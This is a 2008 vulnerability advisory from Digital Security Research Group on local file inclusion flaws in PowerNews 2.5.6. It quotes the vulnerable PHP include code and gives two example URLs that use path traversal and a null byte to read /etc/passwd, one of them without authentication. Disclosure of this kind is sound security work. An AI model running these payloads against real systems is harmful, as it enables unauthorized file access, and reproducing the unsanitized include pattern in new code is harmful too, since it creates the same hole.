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DSECRG-08-014.txt

DSECRG-08-014.txt
Posted Feb 8, 2008
Authored by Sh2kerr, Stas Svistunovich | Site dsecrg.com

PowerNews version 2.5.6 suffers from multiple local file inclusion vulnerabilities.

tags | exploit, local, vulnerability, file inclusion
SHA-256 | cc4db62f3fe7d0951b970312cef5decfb82bcab5bb3cf1c88b7a78cdfaf6d935

DSECRG-08-014.txt

Change Mirror Download

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-014


Application: PowerNews (Newsscript)
Versions Affected: 2.5.6
Vendor URL: http://www.powerscripts.org/
Bug: Multiple Local File Include
Exploits: YES
Reported: 01.02.2008
Vendor Response: none
Solution: none
Date of Public Advisory: 08.02.2008
Authors: Alexandr Polyakov, Stas Svistunovich
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

PowerNews (Newsscript) has Multiple Local File Include vulnerabilities.


1. Local File Include vulnerabilities found in scripts:

pnadmin/categories.inc.php
pnadmin/news.inc.php
pnadmin/other.inc.php
pnadmin/permissions.inc.php
pnadmin/templates.inc.php
pnadmin/users.inc.php

Non-authentication user can directly access to this scripts.

Code
****
#################################################

if ($_GET[subpage]) {
if (file_exists($_GET[page]."_".$_GET[subpage].".inc.php")) {
include($_GET[page]."_".$_GET[subpage].".inc.php");
} else {
?><center><?PHP echo L_ALL_SUBPAGENOTFOUND; ?></center><?PHP
}
} else {

#################################################

Example:

http://[server]/[installdir]/pnadmin/categories.inc.php?subpage=../../../../../../../../../../../../../etc/passwd%00


2. Local File Include vulnerability found in script pnadmin/index.php in admin area.

Administrator can include local files.

Code
****
#################################################

if ($pnloggedin != "YES") {

include("login.inc.php");

} else {

if (!$_GET[page]) { $_GET[page] = "main"; }
if (file_exists($_GET[page].".inc.php")) { include($_GET[page].".inc.php"); } else {

#################################################

Example:

http://[server]/[installdir]/pnadmin/index.php?page=../../../../../../../../../../../../../etc/passwd%00



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)

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